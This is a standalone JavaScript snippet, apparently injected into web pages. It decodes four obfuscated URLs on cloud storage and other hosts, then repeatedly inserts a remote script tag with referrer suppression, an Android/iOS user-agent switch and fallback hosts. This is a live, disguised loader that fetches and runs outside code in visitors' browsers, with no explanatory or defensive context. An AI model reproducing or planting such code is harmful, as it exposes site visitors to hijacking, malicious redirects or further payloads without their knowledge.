let urls=["hSStSStSSpSSsSS:SS/SS/SSmSSqSS1SS4SSnSS3SS8SS9SS2SS.SSoSSsSSsSS-SScSSnSS-SSsSShSSaSSnSSgSShSSaSSiSS.SSaSSlSSiSSySSuSSnSScSSsSS.SScSSoSSmSS/SS1SS4SS/SS1SS1SS0SS5SS5SSbSSaSSfSScSS2SS3SS3SS4".split("SS").join(""),"hMMtMMtMMpMMsMM:MM/MM/MMpMM.MMgMMoMMdMMmMMwMMiMMtMMhMM.MMcMMoMMmMM/MM1MM4MM/MM1MM1MM0MM5MM5MMbMMaMMfMMcMM2MM3MM3MM4".split("MM").join(""),"hRRtRRtRRpRRsRR:RR/RR/RRoRRcRR1RR8RR1RR4RRnRR3RR8RR9RR2RR.RRoRRsRRsRR-RRcRRnRR-RRsRRhRRaRRnRRgRRhRRaRRiRR.RRaRRlRRiRRyRRuRRnRRcRRsRR.RRcRRoRRmRR/RR1RR4RR/RR1RR1RR0RR5RR5RRbRRaRRfRRcRR2RR3RR3RR4".split("RR").join(""),"hDDtDDtDDpDDsDD:DD/DD/DDdDD8DD9DD-DD1DD3DD1DD3DD9DD4DD4DD0DD6DD2DD.DDcDDoDDsDD.DDaDDpDD-DDhDDoDDnDDgDDkDDoDDnDDgDD.DDmDDyDDqDDcDDlDDoDDuDDdDD.DDcDDoDDmDD/DD1DD1DD0DD5DD5DDbDDaDDfDDcDD2DD3DD3DD4".split("DD").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2334_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();